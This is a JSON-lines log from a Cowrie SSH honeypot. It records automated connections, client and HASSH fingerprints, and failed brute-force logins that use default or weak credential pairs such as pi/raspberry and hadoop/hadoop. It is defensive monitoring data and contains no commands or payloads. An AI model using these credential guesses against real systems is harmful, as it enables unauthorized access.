{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:8b:4a:7b:be:a7:97:e2:bd:12:ce:22:ae:9a:22:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1KvXase5KCwn7qdgy8056BGO/A+Yvv9UidHG+o1EGHuQnDzOa7ZKjuLZzJ2ZaTRRKMPzhQOqSOe1CZWc5Njesp9QfJ/gLlbGMBL4RVGblBYArMYLwtf5LqT/j03kbZFW2Y22czMK0F2xBLhoMLkCtE/ygUyR68fEOntltioJB/5njUZY9OeROqFjKsdEH98rVx2tqxsmREFFf8/PIOtbwwweRRm7y6BBK0Vszpy3vUMPR+JCen/MD2kR6y+EIRPhOflRXVOqUd0HA9J6cCa9vcD4/QNEpTWYfaym/R1YWQ3KpeluMG85Cr2eI8CZyzDMp0XyFZoKG/Q4X7IhWeOA99hYuFBn4Hvp0y3k+i3QAceuo7MhF3gIzyrVatXNv1ZXy/024i8ACt2BnUIr0F91kLBf0kbsy409zdrbuPkZ3mQCkQha19tb0u8WCeRPjd/wTCsKOxdcOND0RIdKhfvOP8XwwX0ydhIsfsVKECHv5dwH8DRqZytwPj4SMJjt2H98=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:8b:4a:7b:be:a7:97:e2:bd:12:ce:22:ae:9a:22:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:14.454217Z","src_ip":"176.65.136.174","session":"ebf10126a41d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:8b:4a:7b:be:a7:97:e2:bd:12:ce:22:ae:9a:22:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1KvXase5KCwn7qdgy8056BGO/A+Yvv9UidHG+o1EGHuQnDzOa7ZKjuLZzJ2ZaTRRKMPzhQOqSOe1CZWc5Njesp9QfJ/gLlbGMBL4RVGblBYArMYLwtf5LqT/j03kbZFW2Y22czMK0F2xBLhoMLkCtE/ygUyR68fEOntltioJB/5njUZY9OeROqFjKsdEH98rVx2tqxsmREFFf8/PIOtbwwweRRm7y6BBK0Vszpy3vUMPR+JCen/MD2kR6y+EIRPhOflRXVOqUd0HA9J6cCa9vcD4/QNEpTWYfaym/R1YWQ3KpeluMG85Cr2eI8CZyzDMp0XyFZoKG/Q4X7IhWeOA99hYuFBn4Hvp0y3k+i3QAceuo7MhF3gIzyrVatXNv1ZXy/024i8ACt2BnUIr0F91kLBf0kbsy409zdrbuPkZ3mQCkQha19tb0u8WCeRPjd/wTCsKOxdcOND0RIdKhfvOP8XwwX0ydhIsfsVKECHv5dwH8DRqZytwPj4SMJjt2H98=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:14.458380Z","src_ip":"176.65.136.174","session":"ebf10126a41d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:2f:70:47:2d:d2:d5:ae:82:56:db:44:8b:a2:57:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDm74EfFZoTgj4M5iQZNqZVdL3Jcm9EdiGvxruYbWpd+3ZWg4D0iqNPfF/WEEIXSjrE77oOUUsrbMq9M90m4zGp1mSkBt1Ckmjyf/umKNsAM//i5iNVmQrhr6AdSjqqmD/4Z6Xru2ZB5KAg+BSF4jW7plAzEqg4oSMN4BJ5eA2S0NG0e9CnuEMbn12PqFRKB02t6aYvByhz7iE/hi3kNXgxfjmiQng46f9bQTQ2l7rNQXe6v7g11CwXr+aWkjA0waXxDoe82Qu5F9EABE259gH1EwNwyBsfMLeaEVw9iw3WZgVg4MmZSs0DHjUWqgolmsAeRajiYDRFmkuseUMQsATj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:2f:70:47:2d:d2:d5:ae:82:56:db:44:8b:a2:57:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:14.556830Z","src_ip":"176.65.136.174","session":"ebf10126a41d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:2f:70:47:2d:d2:d5:ae:82:56:db:44:8b:a2:57:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDm74EfFZoTgj4M5iQZNqZVdL3Jcm9EdiGvxruYbWpd+3ZWg4D0iqNPfF/WEEIXSjrE77oOUUsrbMq9M90m4zGp1mSkBt1Ckmjyf/umKNsAM//i5iNVmQrhr6AdSjqqmD/4Z6Xru2ZB5KAg+BSF4jW7plAzEqg4oSMN4BJ5eA2S0NG0e9CnuEMbn12PqFRKB02t6aYvByhz7iE/hi3kNXgxfjmiQng46f9bQTQ2l7rNQXe6v7g11CwXr+aWkjA0waXxDoe82Qu5F9EABE259gH1EwNwyBsfMLeaEVw9iw3WZgVg4MmZSs0DHjUWqgolmsAeRajiYDRFmkuseUMQsATj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:14.561436Z","src_ip":"176.65.136.174","session":"ebf10126a41d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:14.657686Z","src_ip":"176.65.136.174","session":"ebf10126a41d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33774,"dst_ip":"10.17.0.5","dst_port":22,"session":"7aa0d3ce1725","protocol":"ssh","message":"New connection: 83.168.110.85:33774 (10.17.0.5:22) [session: 7aa0d3ce1725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:15.847556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:15.852971Z","src_ip":"83.168.110.85","session":"7aa0d3ce1725","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:15.974250Z","src_ip":"83.168.110.85","session":"7aa0d3ce1725","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:16.337946Z","src_ip":"83.168.110.85","session":"7aa0d3ce1725","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":59196,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c69c559659a","protocol":"ssh","message":"New connection: 103.77.242.62:59196 (10.17.0.5:22) [session: 5c69c559659a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:16.930372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:16.935501Z","src_ip":"103.77.242.62","session":"5c69c559659a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:17.172101Z","src_ip":"103.77.242.62","session":"5c69c559659a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:17.680865Z","src_ip":"83.168.110.85","session":"7aa0d3ce1725","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2ytv1qak9h","message":"login attempt [root/2ytv1qak9h] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:17.882584Z","src_ip":"103.77.242.62","session":"5c69c559659a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:19.122215Z","src_ip":"103.77.242.62","session":"5c69c559659a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":40920,"dst_ip":"10.17.0.5","dst_port":22,"session":"79d64b67ff0c","protocol":"ssh","message":"New connection: 46.19.67.181:40920 (10.17.0.5:22) [session: 79d64b67ff0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:22.089250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:22.094233Z","src_ip":"46.19.67.181","session":"79d64b67ff0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:22.211988Z","src_ip":"46.19.67.181","session":"79d64b67ff0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qw","message":"login attempt [root/123qw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:22.566794Z","src_ip":"46.19.67.181","session":"79d64b67ff0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33780,"dst_ip":"10.17.0.5","dst_port":22,"session":"d78a1fd2b456","protocol":"ssh","message":"New connection: 83.168.110.85:33780 (10.17.0.5:22) [session: d78a1fd2b456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:22.655683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:22.661390Z","src_ip":"83.168.110.85","session":"d78a1fd2b456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:22.783602Z","src_ip":"83.168.110.85","session":"d78a1fd2b456","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:23.147785Z","src_ip":"83.168.110.85","session":"d78a1fd2b456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:23.686698Z","src_ip":"46.19.67.181","session":"79d64b67ff0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:24.273576Z","src_ip":"83.168.110.85","session":"d78a1fd2b456","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":58730,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2bb7c566f8f","protocol":"ssh","message":"New connection: 103.149.170.125:58730 (10.17.0.5:22) [session: c2bb7c566f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:28.192335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:28.197607Z","src_ip":"103.149.170.125","session":"c2bb7c566f8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:28.469908Z","src_ip":"103.149.170.125","session":"c2bb7c566f8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19751975","message":"login attempt [root/19751975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:29.598258Z","src_ip":"103.149.170.125","session":"c2bb7c566f8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39604,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7707757d1e4","protocol":"ssh","message":"New connection: 83.168.110.85:39604 (10.17.0.5:22) [session: b7707757d1e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:29.606363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:29.640766Z","src_ip":"83.168.110.85","session":"b7707757d1e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.142","src_port":46610,"dst_ip":"10.17.0.5","dst_port":22,"session":"c932d1c23edf","protocol":"ssh","message":"New connection: 43.153.50.142:46610 (10.17.0.5:22) [session: c932d1c23edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:29.663797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:29.817363Z","src_ip":"43.153.50.142","session":"c932d1c23edf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:29.851608Z","src_ip":"83.168.110.85","session":"b7707757d1e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:29.885457Z","src_ip":"43.153.50.142","session":"c932d1c23edf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firewall","password":"firewall","message":"login attempt [firewall/firewall] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:30.150062Z","src_ip":"43.153.50.142","session":"c932d1c23edf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:30.307701Z","src_ip":"83.168.110.85","session":"b7707757d1e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:43:30.879521Z","src_ip":"103.149.170.125","session":"c2bb7c566f8f","protocol":"ssh"}
